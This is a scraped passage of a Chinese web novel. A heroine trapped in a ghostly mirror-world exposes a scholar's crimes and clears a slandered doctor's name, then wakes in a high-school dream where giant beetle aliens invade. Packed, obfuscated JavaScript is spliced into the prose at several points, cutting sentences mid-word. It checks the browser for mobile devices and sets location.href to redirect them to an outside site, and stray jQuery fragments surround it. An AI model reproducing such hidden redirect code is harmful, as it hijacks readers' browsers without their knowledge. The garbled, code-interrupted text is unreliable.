d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你始终觉得自己配不上学长,害怕自己不够优秀,从而失去对方。”七寻与她对视,脸上掀起一抹笑,诚恳道:“可是在我看来,你性格开朗,为人大方且乐于助人,所以大家都很喜欢你。” “你能考上大学,就说明脑子不笨。” “可为什么要选择一个最极端最阴暗的方法,去诋毁别人,然后留住另一个人呢?” “如果学长真的喜欢你,他一定会解释清楚,不会让你这么没有安全感。如果他不喜欢你……”七寻顿了一下,继续说:“那又怎么样?那只能说明他没有眼光,亦或者你们并不合适。” “感情的事情强求不了。” “何况同为女生,你更应该明白造谣对一个女生的伤害有多大。” “舆论压力重如泰山,不是所有人都有一颗坚强的内心顶住这些压力的。” “如果那个女生再极端一点,你知道会是什么后果吗?” 七寻没有明说,可她们都知道后果是什么。 七寻揉揉她脑袋,说:“小琴,不要害怕,我们还有弥补的机会。” 李小琴带着隐忍的哭腔,过了好一会儿才说:“我知道错了,我会道歉的,我会在网上澄清这一切,还她清白……” 七寻揽着李小琴,问桃夭:“她都说了,也愿意澄清真相,你可以放她走了吗?” 桃夭又灌了一口酒,眼神从两人身上刮过,“自然。” “但如果你出去后又反悔,我还是会把你抓回来。到那时,没人能救你。” 看着慢慢脱离出镜子的李小琴,桃夭偷偷观望着七寻。 “为什么不跟她一起走?” “因为我还有很多不理解的地方,需要你帮我解惑。”七寻找回手机支架,有些懊恼,她刚刚应该让李小琴帮忙顺带着拿回去的。 算了,也不差这一时。 七寻擦擦上面的灰,转身迟疑的问:“我可以叫你小狐狸吗?” 桃夭:“……”这是要干什么? 12. 澄诬名 “小狐狸?” 桃夭偏过头,冷酷道:“怎么叫是你的事,应不应是我的事。” 七寻盯着他,笑了。 耳朵都红了,还在嘴硬。 七寻自顾自从桃夭身边走过,支着腿坐在柳树下,目光不经意地从李清袍子下扫过,问:“李清的腿,是你砍断的吧?” 表面装聋作哑,实则恨不得他们打起来的李清:“……” 桃夭默了默,那双竖瞳又露了出来。他抛开酒壶,摇着扇子问:“何以见得?” “翎王虽然残暴,但他需要李清帮他做事,所以就算是惩戒,也不会动手砍他的腿。因为这样很不方便,翎王不需要一个残废。” “除非……”七寻顿了一下,十分单纯地看向李清说:“除非他没用了。” 没用了,就不用在乎他是不是个残废,就可以随意践踏他,踩碎他的骨头,然后随手丢了喂狗。 可是那个雨夜,来的人是李清。 这就说明那时候,李清还没有被翎王抛弃。 “雨夜来临前,为了报复,你在牢里砍断了他的腿,让他不能再出来兴风作浪。”桃夭不说,就只能由七寻来开口了:“可令你没想到的是,他竟然还能挑唆翎王,带兵围剿风花雪月楼,用人命,逼得冯涯自刎。” “你同冯涯一块死的,可你执念未消,化作血狐,与那天夜里死的人一起,把自己囚在了这里。” 七寻看着他问:“小狐狸,一定要为了这么一个人,把自己困在这里吗?” 阴风从七寻和桃夭之间刮过,有些冷。房檐银铃作响,楼中那些模糊的鬼魂从中探出头来。 红鸾倚在门边上,红眸看向七寻,又很快垂下眼眸,不知在想些什么。 青颜观察着她的举动,见状抓着木栏的手紧了紧,最终还是什么都没问,静静观望着。 “哈哈哈哈哈哈哈……”李清弯下身狂笑捶地,若是活人状态,怕是要笑出眼泪来。直到他笑够了,才终于直起身,说:“他出不去的,他永远都出不去的。” “这里的所有人,都要陪着我,永世不得超生——” 七寻脸上的表情淡了淡,肉眼看上去其实并没有什么变化,但就是能让人感觉到她身上刺骨的冷意。 就在李清得意之时,就见她忽地一笑,“你怎么知道他们出不去?” “是觉得自己做的那些事,再不会有人知道了吗?” 李清一愣,不明白七寻在说些什么。 在他看来,七寻不过是像过去那些被拉入镜子的人一样,败在了桃夭等人手中。 她能醒来,简直就是奇迹。 所以,他并不知道七寻曾附在那个叫小四的孩子身上,看了一眼过去。 “为了灵狐,你不惜联合强盗,逼得结发妻子险些命丧黄泉。为了保命,你让南林瘟病再度爆发,又联合张刺史,给百姓分发没有功效的假药。” “我说的,可都对!” 闻此,李清脸色终于变了变,不由得吼道:“你闭嘴!” “你才闭嘴!”七寻站起身来,冷嗖嗖地看着他,说:“如果我猜得没错,在冯涯到南林之后,你不仅阻断了后方药材,还将真假药混合着端到病患手中,鱼目混珠,以假乱真。若不然,冯涯又怎会看不出你在背后做的肮脏事!” “之后,你又将南林之事全部归咎在了冯涯身上,让她顶罪,身受牢狱之苦。” “这难道不是她咎由自取,应得的下场吗!”李清伪善面目终于彻底裂开,露出它本来的模样:“是她不交出灵狐,才逼得我不得不出此狠招。她死,是死有余辜!” 像是再也听不下去他讲的话,桃夭将他一脚踹趴在地上,踩着他脑袋说:“我与你在这耗了这么久,本以为你会生出点悔过之心,可如今看来,倒是我仁慈了。” “啊啊啊——”李清惨叫着,魂体被桃夭镇得忽明忽灭,他缓了缓,狞笑道:“悔过?我有什么过错?” “雪月楼那些人难道不是冯涯害死的吗?” “不过也是你们自己蠢,偏要去狱中救她,才感染了瘟病!全楼的人都要随着她一起下地狱!” 七寻一惊,下意识看向青颜的手臂。 冯涯久病不起,果然是感染了瘟病吗? 她又想起青颜曾对小四说过的话:红鸾看着面热,平日里也就跟我们走得近些,若是她出了什么事,你可不能替她遮掩。 若是如此,最开始去救冯涯的就不可能是红鸾…… 应该是青颜才对! 她入的是青颜的梦,所以看到的事情有一部分是真的,有一部分是青颜联想到的,但总的来说,大致方向不会出现偏差。 也就是说,真实情况下,并没有白狐救人,是青颜一个人去救的冯涯! 冯涯那时候高烧难退,神志不清,青颜只以为是重伤感染,并不知道她感染了瘟疫。 为了躲避官兵搜查,也为了洗脱嫌疑,她肯定还是像往常一样出去迎宾舞剑。 自冯涯帮着老鸨出谋划策,酒楼生意兴旺,人流不绝,瘟病传染起来是非常容易的。 七寻摩挲着手中的支架,符文…… 如果这里是由鬼魅衍生出来的镜子,青颜梦中冯涯念的咒文是否也有效果? 她闭眼努力回忆着,不消片刻便想起冯涯符纸上画的符文。 似察觉到什么,桃夭定睛看去,才发现七寻不知何时咬破了自己的手指头,聚精会神地在那张失去功效的符纸上勾画着什么。 落笔成,符文上的金光一闪而过。 七寻用两指夹着符纸,放置嘴边,念道:“先杀恶鬼,后斩夜光!何神不伏,何鬼敢当?急急如律令!” 刹那间,楼中狂风大作。 天边血色如潮水褪去,楼沿间挂着的灯笼被风吹得哐啷响,一片灰飞飘过,紧接着,是更多带着火星子的灰烬漂浮在白色的天空中。 很快,诡谲无光的酒楼在符纸的金光下,逐渐显露出它真正的模样。 那是经历过屠杀和大火,破败不堪的模样。 面容模糊的鬼影们惊奇地看着自己逐渐清晰的手,却发现上面布满疤痕和烧伤。 这一刻,他们终于想起自己是因何而死的。 “原来如此,原来如此……” “我想起来了,我想起来了!” 面容丑陋的女子和男子们怒瞪着李清,纷纷开口:“才不是你说的那样!” “我们记得,那时候酒楼里有人感染了瘟病,为了不让病气外传,酒楼被官人查封。” “对!我也想起来了……是冯姑娘!是冯姑娘撑着病躯给我们诊脉施药,才让我们的病情慢慢好转。” “明明我们已经好转了,可你这个狼心狗肺的东西,居然……”鬼魂颤抖着指着李清,艰难道:“居然带兵,想将我们屠杀殆尽!” “我们自认倒霉,冯姑娘却毅然决然地挡在了我们面前,与这你对峙。最后用灵狐和自己的命,换雪月楼所有人平安。” “岂料,你猪狗不如的东西不讲信用,一把火,将我们所有人烧死在楼中!”众鬼悲恸欲泣,恨恨地瞪着李清,咬牙切齿道。 七寻指尖符文逐渐燃起,很快烧成灰烬。 她站在李清身边,冷道:“听到了吗?这才是当年的真相,是你怎么污蔑,也遮掩不了的事实!” 李清扭曲着脸,愤恨道:“我,不,认!” “他们现在想起来了又如何,你们别忘了,你们当初是怎么落井下石的!”李清躺在地上,指着鬼影中始终站在后头的那些,大笑道:“冯涯被逼得自刎,可也有你们在其中出力呢!” “若不是你们中有人贪生怕死,那个贱人又怎会像祭品一样被推出来,成了刀下亡魂!” 心虚的鬼魂们下意识往后缩了缩,不愿面对。 “你不认又如何……”桃夭转而踩着他脚,眼中没有一丁点情绪地说:“李清,你做下的孽,你赖不掉,终有一日,你会尝到恶果的。” 七寻皱着眉,总觉得自己忽略了什么。 李清是受翎王旨意,可为什么桃夭没有报复翎王,反而只缠着李清呢? 七寻脑子飞快运转着。 他们都已经死了,如果按照能量守恒定律,不可能“活”这么久,定然是还有什么放不下的东西,逼得他们无法消散。 李小琴! 七寻猝然抬眸。 李小琴身上跟李清相似的地方…… 是什么呢? 像是为了证实自己的猜想,七寻朝孤坟的方向走了几步。 没了桃夭的阻碍,七寻看清了孤坟全貌。 此刻,她终于明白自己从一开始就感觉到不对劲的地方是什么了。 没有碑…… 正是因为没有碑,所以她才会从一开始,就不知道这里面埋的是谁。 没有碑,只有可能是这人身怀污名,死后不被允许拥有一块碑文。 可这个人是冯涯啊,谁都可以没资格,她却不可能没有。 七寻黑白分明的眼睛直勾勾盯着李清,语气出乎意料的平静:“冯涯死后,你干了什么?” 李清轻“哼”一声,:“当然是休妻!” “她一个成了婚的女子,整日抛头露面,在外出事后不回夫家,居然留宿在妓楼里,谁知道她干过什么,还干不干净!” 李清奋力推开踩在自己身上的脚,自顾自地说:“德行不堪,医术不正,害了那么多条人命,这样的人怎配得上我,我可是堂堂状元郎!是陛下夸赞过才学的状元郎,怎能受她拖累!” 他说得有理有据,理所应当,好似他臆想中的冯涯,真如他口中那般不堪。 “沉冤昭雪……”七寻念着这几个字。 蒙冤之人,身受污蔑的人…… 原来从一开始,答案就摆在了面前。 原来,在南林将她吞入腹中的鬼影,不是青颜在阻碍她看清真相,而是……那些鬼影,就是被李清用瘟病害死的南林百姓。 他们不明真相,将李清奉为救世主,却将真正想要救他们脱离水火的冯涯,认成了唯一的罪人。 流言蜚语,再加上蓄势造谣,能轻易将一个人否认掉,再凭着他人口中的三两句话,盖章定论。 从此,冯涯成了那个该被千刀万剐的人。 “你留在这里,是想帮她洗脱冤屈?” 桃夭低着头,忽然想起了冯涯临走前对他说的话。 “疫病要除,所以要把改良过的药方交出去。” “好。” “为避免祸及他人,我必须赴死,才能彻底消除他们心中的顾忌。” 白狐眼中流出血泪,颤抖地说:“……我愿与你,一同赴死。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322567|167547||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >雨染湿了冯涯的头发,她低头沉默良久,然后笑了,也哭了,“你愿意,甚好。” 桃夭回过神来,说:“她不该受到这些诬蔑。” “我知道,她清清白白,绝不是小人口中那样。” “可为什么……”桃夭抬起头,仰头望天,眼中再度流下血泪,“明明是显而易见的东西,为何他们看不见!” 七寻心口发闷。 余光扫过地上的李清,桃夭眼神忽地一凌,露出只有狐面才有的凶光,“既然如此,今日就用你的残魂,把酒欢歌,祭奠她在天之灵!” 折扇展开挥下,瞬间将李清的魂体分割成千百块。 “啊——”李清绝望地惨叫着,鬼魂燃起火焰,然后彻底泯灭。 一旁的红鸾忽然开口道:“酒都被你喝完了,哪还有……” “有的。” 不待众鬼询问,七寻先一步回到柳树下,取下腰间挂着的匕首,说:“这里面,不是还埋了几坛女儿红么?难不成你们都忘了?” 鬼魂们沉默不言,他们怎么可能忘记,只是这么多年过去,早已物是人非,没人愿意再想起那些陈年旧事。 匕首出鞘,七寻吭哧吭哧的挖着,将里面封存多年的酒挖了出来。 鬼童非常有眼力见,用脑袋顶着高高的酒碗跑到七寻身边,讨好似地在七寻面前晃悠。 七寻瞅了小家伙一眼,好笑道:“你倒是殷勤。” 鬼童喉间发出“咯咯”的声音,像是因为被夸了很高兴的模样。 七寻用衣服擦去匕首上的泥土,却在这时看到了匕首上刻着的五个小字——“将门无弱女”。 青颜和红鸾中,只有青颜会舞枪弄剑,这个将门之女是谁,不言而喻。 想起她刚醒过来的时候,青颜就蹲在自己身后。 七寻知道,自己躲开之后,青颜并不是在看她,而是在看她腰间的匕首。 青颜曾嘱托过她,让她把匕首交给一个人…… 七寻没再犹豫,将匕首仔仔细细地擦干净,却在转身的那一刻,看到了正在逸散的亡魂们…… “红鸾……” 青颜随着七寻叫的那一声回头,顿时怔在了原地。 她看着红鸾满是烧伤的脸,颤抖的唇,苍白地拉住她的手,好半响才问出口:“那夜大火,你来找过我?” 红鸾犹豫了一下,点点头说:“找过,你当时被烟熏晕了过去……火势太大,我进去之后就出不去了,只好跟着你一起……” “你是傻子吗!”青颜不住地骂道。 “既然放不下我,那你当初,又为什么要抛弃我?”像是难以启齿,青颜微微低着头,问:“我重病之时,你不是还将我拒之门外吗?你当时为何不来看我?” “我不能……”红鸾的魂魄溃散得很快,下半身已经没了,她摇摇头,凭着本能说:“我不能去看你,酒楼里没有药材,一旦染病,我,就不能出去了。” 见了青颜,就出不去,出不去就找不了药材,没有药材,青颜会死…… 这是这么多年,一直盘旋在她脑海中的话。 她知道,她不能让青颜死,更不能让青颜知道。 她不能让青颜深陷在愧疚里,她不能…… 青颜捧着红鸾的脸,哭着说:“不要,不要走……” 红鸾全身只剩下头了,却依旧像很久很久以前那样,笑得很温柔:“你不要怕,风雪在前头,有我在后头给你兜着。” “红鸾——” 除了青颜外的所有鬼魂全部消失,只剩她一人跄踉地跪在地上。 就在桃夭消散的那一刻,七寻恍惚间看到了与李清一模一样的脸。 青颜和冯涯口中天壤之别的两个人,有没有一种可能不是性格大变,而是灵魂互换,亦或者夺舍? 她沉思片刻,走向哭得不能自已的青颜。 那把匕首最终还是回到了青颜手中,她摩挲着,忍着哭腔说:“红鸾说‘既然抓错了,就该给你一次机会’。” 她摇摇欲坠地站起身,眼中流下清澈的泪水,哽咽道:“可是直到刚刚我才知道,她不是在给你机会,她是想给我机会,给我一个……知晓真相的机会。” “她不想我继续困在过去的仇怨中,永生永世被囚在这里……” “是我误会了她,可她没有,可她从来都没有怪过我,从来都没有……” “她凭什么不怪我,她该怪我的……”青颜抱着匕首,哭得撕心裂肺。 感情的事情,七寻无法插手。 她不知道该怎么安慰,更何况,青颜也不需要她开解。 因为青颜的魂魄,也开始逐渐消散了。 七寻拿起酒壶,在碗里倒了一碗酒,轻喃道:“此一杯,祭亡魂。” 酒水洒在地上,很快消失。 她说完,又倒了一碗:“此一别,魂归极乐,往生净土;来世安康,永离苦厄。” 此后,尘归尘,土归土。 你们也该随着冯涯一起,回到灵魂归息之地…… 待一切变成白色的灰烬,七寻终于踏入凭空出现的碎镜,离开了这里。 而在她背后,一只小鬼从灰烬中跳了出来。因为四肢不协调,愣是自己把自己绊倒,摔了个狗吃屎。 鬼童不在意地起身,朝着早已闭合的碎镜出口,露出一个戏谑的笑容。 13. 生与死 “七寻,七寻?” “醒醒,再不醒就要迟到了!” 脑袋好晕,谁在叫我? “也没发烧呀?”额头被人抚过,暖暖的,只听头顶那人说:“什么时候有赖床的习惯了?” “啪!”地一声,一张湿哒哒的毛巾猝不及防地扑在七寻脸上,七寻顿时醒了过来。 她不耐烦地掀开眼皮,冷道:“谁呀!” “醒了?”只见两个穿着校服的女生站在自己床边,其中一个扎着丸子头的高个子女生双手环抱,倨傲地看着她,说:“醒了就赶紧起来跑操,我们可不想因为你被老班叫住罚跑。” 她说完,还没等七寻回过神来,就出了寝室的门。 另一个长相可爱的女生不知所措地回头看了一眼七寻,然后跟着那个女生匆匆走了。 外面传来教官的声音:“还没出寝的快一点,再不出来我就要锁门了!” 七寻一个激灵,像是身体的开关键被打开般,迅速用脸上的湿毛巾擦擦脸,套上床上的校服外套和裤子,然后一骨碌从床上爬起来,一边走一边穿上鞋,极速朝寝室大门跑去。 “最后一个,再晚一点我就要把你关里面了!”门口的女教官嘴上凶巴巴的,手上关门的动作却在有意放慢。 清晨凉爽的风刮过脸侧,七寻边跑边道:“谢谢教官提醒。” “呼,呼——”终于赶上了。 大学毕业四年,她早忘记高中晨跑时自己班级的方阵队伍在哪了。 幸好她没墨迹,迅速追了上来,跟着之前那两个女生,补上方阵中最后一个位置。 七寻轻轻喘着气,在校长激情忘我的演讲下,抽空用余光观察四周。 他们手中都拿着小册子,认真背着。 余光瞥见一个熟悉的身影,七寻凭着记忆摸了摸裤子口袋,果然摸出了本高中古诗文合集。 在老班的巡视下,七寻装模作样地念着,余光则看向那两个女生。 她不是已经上大学了吗? 为什么又回到了高中,难道她还没有逃出梦境? 七寻扯扯熟悉的布袋式校服,听着吵吵嚷嚷地晨读,等着即将开始的跑操……这一切都太特么真实了。 总不能是,她根本就没有考上大学吧! 这太糟糕了! 她都工作好几年了,怎么可能还没考上大学。 到底是哪出错了? 还不待她想明白,嘹亮的哨声从主席台上传来。 方阵一个接一个动了起来,七寻跟前后的同学紧贴着跑了起来。 为了让队伍跑得更加整齐,运动委员大声喊着:“一、一、一二一、一二一二一二一……” “一!二!三!四!” 全班同学掌握好节奏,跟着喊道:“一!二!三!四!” 整齐的脚步声,响亮的口号。 七寻:“……”真的太真实了。 真实到让她有些崩溃。 不会有人想要重新读一遍高中的,特别是像她这样的军事化管理的私立高中! 七寻乐观地想着,至少暂时,没有想要将她吞入腹中的妖魔鬼怪不是么? 这应该是她唯一感到幸运的事情了。 漫长的早自习过后,七寻没有去吃饭,而是先回了寝室,将床上的被子叠成棱角分明的豆腐块。 她问过,今天不是她打扫寝室卫生。 三下五除二整理完床铺,七寻犹豫地拿起寝室挂座上的电话,拨下脑海中那个号码。 熟悉又陌生的电话铃声响起,七寻抓着电话的手紧了紧。 “不好意外,你拨打的电话是空号……” 后面一串英文,七寻无暇再听,沉默着扣上了电话。 呵,果然还在梦中…… 门外走来两个人——一个丸子头,一个高马尾。 七寻假装没看到,与她们擦肩而过。 无聊的一天终于过去,七寻竟在枯燥的课堂中找到些许安静。 到了晚饭时间,天上染上绚丽的橙红色晚霞。 可惜没有相机,不然的话可以拍下来。毕竟之后的很多年里,她再没有多余的时间,花费在这些稀疏平常的事情上了。 “喂。” 空旷的教室响起一声突兀的声音,七寻木然转头,看向站在教室后门门口的人。 丸子头斜站着,背靠在门框上,冷冷地看着她。 七寻眼睛扫过她嘴里的叼着的白色细棍,知道她吃的是荔枝味的棒棒糖。 也不怕蛀牙…… 她腹诽一句,丸子头不耐烦地“啧”了一声,道:“老地方。” 七寻起身,与她一前一后上了教学楼天台。 其实天台的门是锁着的,但她们都有办法撬开。 七寻看着两人,面无表情地问:“找我什么事?” 听着丸子头皱着眉又“啧”了一声,七寻知道,她心情已经非常非常不好了。 果不其然,下一刻七寻就听到了对方嘴里的棒棒糖被咬碎的声音。 “你要犟到什么时候?”丸子头眯着眼睛问,气压低地把旁边的高马尾吓得不敢吱声。 七寻忽视掉高马尾的眼神,强硬地跟她四目相对。 云浪翻滚,赤霞倾泻。 头顶上,白云间,划过一抹明显的长痕,那是飞机途径这里留下的痕迹。 而此刻,那条长痕不像是划在了天上,更像是划在了三人之间。 她们站在教学楼顶楼楼顶,却也站在了对立面。 七寻紧握着手,感受着心脏清晰的跳动。 她们已经错过了一次,如果她还要做那个胆小鬼,她们会再一次错过。 七寻低下头,微不可见地深吸了几口气…… “啪——” 七寻:“……” 天台上响起一声响亮的巴掌,叶疏恨铁不成钢地说:“七寻,我们从小一起长大,你家里出了事为什么不告诉我们?到底有什么不能说的?” 叶疏气的眼睛发红,大声吼道:“一定要将我们排斥在外吗?” “你到底有没有拿我们当真正的朋友!” 风迅吓得赶紧拦在她们之间,视线在两人之间徘徊,咋咋呼呼地说:“哎呀!有事就好好说嘛!干嘛动手呀!” 不冷不热的晚风吹着发梢,七寻脸上火辣辣的疼,她呼了口气,抬眸,笑了,“你这巴掌,该早点打。” 叶疏,风迅:“……” 她们曾是最好的朋友,后来却因为自己,在高考之后分道扬镳。 其实七寻心中是放不下她们的,空暇之余总会向她们之间的共同好友打听近况,在知道她们过得很好后,慢慢支起自己破烂不堪的生活。 可错过就是错过,当时开不了口的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322568|167547||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话,随着时间的流逝只会越发不敢开口。 因为她从不是一个将伤疤挂在嘴边的人,更不是一个,会自主解刨内心的人。 她需要像火一样热烈的人,强盗般闯入她的世界,然后给她一个温暖到让她无法拒绝的拥抱。 所以很多时候,在外人看来,她不容靠近,更难以相处。 这是她高考完后,才明白过来的道理。 真是难以想象,叶疏和风迅是怎么忍下来,然后跟她相处那么久的。 可是这些附在外面的冰霜,都在经历过风雨的冲刷后,慢慢被她装扮成还不错的模样。 她学着别人如何包装自己,装出一副温和有礼善解人意的漂亮门面,其实背地里却在骂爹。 可这样一副温善的模样,却从不曾对她们两个展示过。 “七,七寻,你脑子坏掉了吧?”风迅伸手在她面前晃悠,惊恐地说:“不会是被叶疏一巴掌扇傻了吧!” “……”七寻道:“你脑回路还能再清奇一点吗?” “没有人会被一个巴掌扇傻的,除非那个人本来就是傻子。” 她说完,发现叶疏和风迅更加沉默了。 七寻很疑惑,忍不住发问:“怎么了?” 风迅呐呐地说:“你很久没对我说过这么多话了,也很久没有对我们笑过了……” “对不起。”七寻承认,她还是没有勇气直面她们两个,只好盯着地面,诚恳地说:“能给我一次机会吗?” “我一直都把你们当作我最好的朋友,过去、现在还有未来,一直都是。” “但是我太过浑蛋,忘记了朋友之间是可以无话不说的……我害得你们担心,还因为我太过应激,让你们受到了伤害。” “对不起。” 七寻张张嘴,还想说些什么,却说不出口。 其实不原谅也没有关系,可她说说不出口,因为她心里其实是希望被原谅的。 这很自私,却是她内心深处渴望的。 身体被两人紧紧抱住,然后又很快分开。 风迅笑嘻嘻摸着她脸说:“知道承认错误就好,朋友之间,只要说开了,没什么不可以原谅的。” “前提是,你以后可不许再犯了。” 叶疏从兜里掏出一颗棒棒糖,然后熟练地拆开包装,强硬的塞到七寻嘴里,揉着她脑袋说:“我也该道歉,我不该一时冲动伸手打你。当然,你也可以打我一巴掌。” 七寻呆呆含着嘴里的糖,不由在心里吐槽:果然是荔枝味的…… 晚风吹过衣角,三个人不约而同地笑了。 “嗯?” 地面在震动,七寻下意识抬头,刹那间,明亮的天空像是被人按下了关灯键,一下黑了下来。 黑云不断翻涌,卷起一个个凹陷的黑洞。 三人站在高楼之上,黑白分明的瞳孔中倒映出陨石急速下坠的身影。 刹那间火光四溅,烟尘四起,学校周围的房屋被陨石轰倒,留下黑黝黝的残骸。 紧接着,巨大的钢铁尖角从黑洞中钻出,发出震耳欲聋般刺耳的声音。 眼看着火球即将砸向她们所在的教学楼顶部,三人默契看向隔了段距离的另一座教学楼,然后不约而同地狂奔而去,在生死时限中,跳出比任何一次体侧都要远的一步。 校服在火光中翻飞…… “轰——” 14. 臭虫子 “咳咳咳……”七寻被炸得浑身发麻,她抖了抖身上的碎石,还没来得及站起身,就被人拉到一旁。 风迅捂着她嘴巴,小声地问:“没受伤吧?” 七寻摇摇头,拍拍她的手臂,示意她放开。 风迅问趴在墙角观望的人,“叶疏,外面什么情况?” 叶疏凝重道:“那艘太空飞船里,出来了好多稀奇古怪的东西,学校的人都被抓走了。” 两人跟着从高墙上探出脑袋。 只见教学楼楼下,一批批两米高的甲虫们手中拿着枪,从类似卡丁车的交通工具上整齐有序地蹦下来,扫视着周围。 看状态,像是在抓人。 风迅不敢置信地说:“是我脑子坏掉了吗?” “两米高的直立行走甲虫!” “甲虫成精了!” “世界末日来了!” 叶疏急忙捂住她的嘴巴,说:“你再叫几声,没准那些甲虫就要上来把你抓走。” “呜呜喔步硕了就似了……”(我不说就是了。) 话音刚落,一只甲壳黑得发亮的虫子停了下来,抬头望了一眼,却只看到冒着黑烟的屋顶。 楼顶,三人背靠在水泥砌成的围墙内,紧张到不敢呼吸。 风迅心有余悸地朝七寻比了个大拇指。 幸好七寻反应机敏,将她们拉着蹲下来,不然就要被发现了。 过了好一会儿,三人才敢再次冒头。 “七寻,你在这看着,我和风迅到另一边看看。” 七寻点点头。 风迅撇着嘴,道:“你一个人过去,我要留在这里陪七寻。” “行。”叶疏也不强求。 临走前,七寻跟叶疏心照不宣地对视了一眼。 风迅性格活泼,很多时候情绪上来了就控制不住音量。 犹记得高一的时候,三人半夜睡不着,于是挤在一张床上挑灯看恐怖小说。 风迅胆子最小,看到“血手扒在窗户上,下一刻一只青面鬼朝屋子里的人张开了血盆大口”处,顿时吓得叫出了声。 七寻当时下意识把风迅摁进枕头里,那床本来就小,挣扎间,挤在最外面的叶疏“哐当”一下,摔在了地上。 还好她们睡的是下铺,叶疏没有受伤。 但只能说她们三个运气是真的背,夜里巡逻的教官正好就在外面,顺手将她们从被窝里抓了出来。 当天晚上那本恐怖小说就被没收了,三人还差点因为这件事被分到不同宿舍。 也正因为了解风迅,所以叶疏才会在临走前让七寻看好她。 “你俩打什么哑谜?” 七寻狡黠一笑,说:“秘密。” “切~”风迅笑笑,不在意地说:“我才不稀罕知道呢~” 两人小心翼翼地望着远处那辆漂浮学校操场上方,发出“轰隆隆”气波声的黑色巨型钢铁飞船。 飞船下方开了个口子,不断有卡丁车和甲虫从那里出来的,与此同时,也有装着学校师生的车子被传输到飞船内部。 “那些虫子长得好丑啊……” 七寻跟着吐槽:“虫子就没有长得好看的。” “那也不一定,有些长得还是很好看的。”风迅语出惊人:“有些也很好吃。” “……你吃过?” “没,这不是经常刷到一些吃播么,看他们撒上辣椒面,感觉很香耶~” “可能吧……”七寻很难苟同。 她无法想象将那些稀奇古怪的虫子塞到嘴里,即便是沾上辣椒面也不可以! 更何况,此刻在她眼前晃悠的,可是两米高的超超超大号虫子! 谁吃谁还不一定呢。 “你戳我干什么?” “我没……” 身后有什么东西一闪而过,七寻瞳孔微缩,一把拉过风迅,迅速躲了过去。 “哇靠!” 再回头,两人刚刚蹲站着的地方被甲虫粗壮的节肢捅出一个大大的坑。 那可是钢筋混泥土做成的护栏。居然像豆腐块一样一戳即碎。 等反应过来,两人脸上都是严峻之色,连看清那玩意儿的功夫都没有,拔腿就跑。 黑色甲虫眼中的扫描仪在高楼上扫过,并迅速用热源传感器锁定了两人的方位。 细长模糊的声音从虫子嘴里迸出:“地球奴隶……一个,都不能放过……” “要听指挥官的话,全部,抓回去……” 甲虫口中喷出绿色唾液,仅仅是接触了一下,两人身边的墙块就被迅速腐蚀掉。 风迅震惊不已,脑子灵光一闪,大叫道:“这要是拿来分解生活垃圾……” 岂料墙块被分解的同时,散发出一股令人作呕的气味。 七寻捏着鼻子,补充道:“会把人毒死。” “好臭……”风迅有样学样,奈何实在承受不住,一边跑一边呕,“这味道,是在茅坑里发酵过几百上千年的吧,呕——” “再忍忍……我数到三咱们就跳!” “好!” 两人站在高楼边,正准备跳到另一座高楼上,就看到天空中飞着密密麻麻的特大号甲虫。 她们被包围了! 两人刹住脚,紧张地背靠背,站在甲虫包围圈里。 “怎么办?现在投降还来得及么……” 七寻想着对策,随口道:“你试试。” 岂料话音刚落,身后“扑通”一声,风迅诚恳地跪在地上,声泪俱下:“求求各位放过小女吧,我上有老下有小,家里没了我,一家人就要喝西北风了呜呜呜……” 七寻:“……”嘶~好老的台词。 她跟着装模作样的抹着眼泪,心中不停打鼓,外星人真能听懂地球人民生活艰难之处吗? 甲虫们煽动着翅膀,你看看我我看看你,都是一副不知道该怎么办的模样。 下一刻,七寻就看到它们头上两根细长须须同频振动了起来:“滋滋滋滋滋滋?”(这真是人间惨案,要通知总部吗?) “滋滋滋……”(通知吧……) “滋滋滋滋滋滋滋。”(已向高级指挥官汇报具体情况。) 七寻眉头一皱,有点可惜自己头上没长两根一样的须须。 余光瞟到甲虫身后那抹熟悉的身影,七寻唇间勾起一抹笑,为了更好地掩人耳目,她小声地对风迅说:“哭大声点。” 风迅顿时哭得更大声了,她一边哭着,还不忘对着七寻比了个“OK”的手势。 “滋滋滋滋滋滋……”(指挥官说她们是骗子……) “滋滋滋!”(立即抓捕!) 就在甲虫集体举枪攻击的同时,站在它们身后的叶疏大声喊道:“接住!” 七寻眼疾手快,飞快跑过去接住那两根两米长的铁棍,然后将其中一根扔给风迅。 两人迅速躲过子弹,又以迅雷不及掩耳之势用铁棍狠戳甲虫腹部,见不起作用,又将目光转向甲虫脑袋。 奈何甲虫太高,她们就算是跳起来打,挨着边了也使不上什么劲。 风迅跟虫子大眼瞪小眼,气愤地开口骂道:“长得高了不起啊!” 挨了揍又挨骂的甲虫们不明白,怎么就一眨眼的功夫,刚刚还哭唧唧的两个人就变脸了。 难道这就是指挥官说的骗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 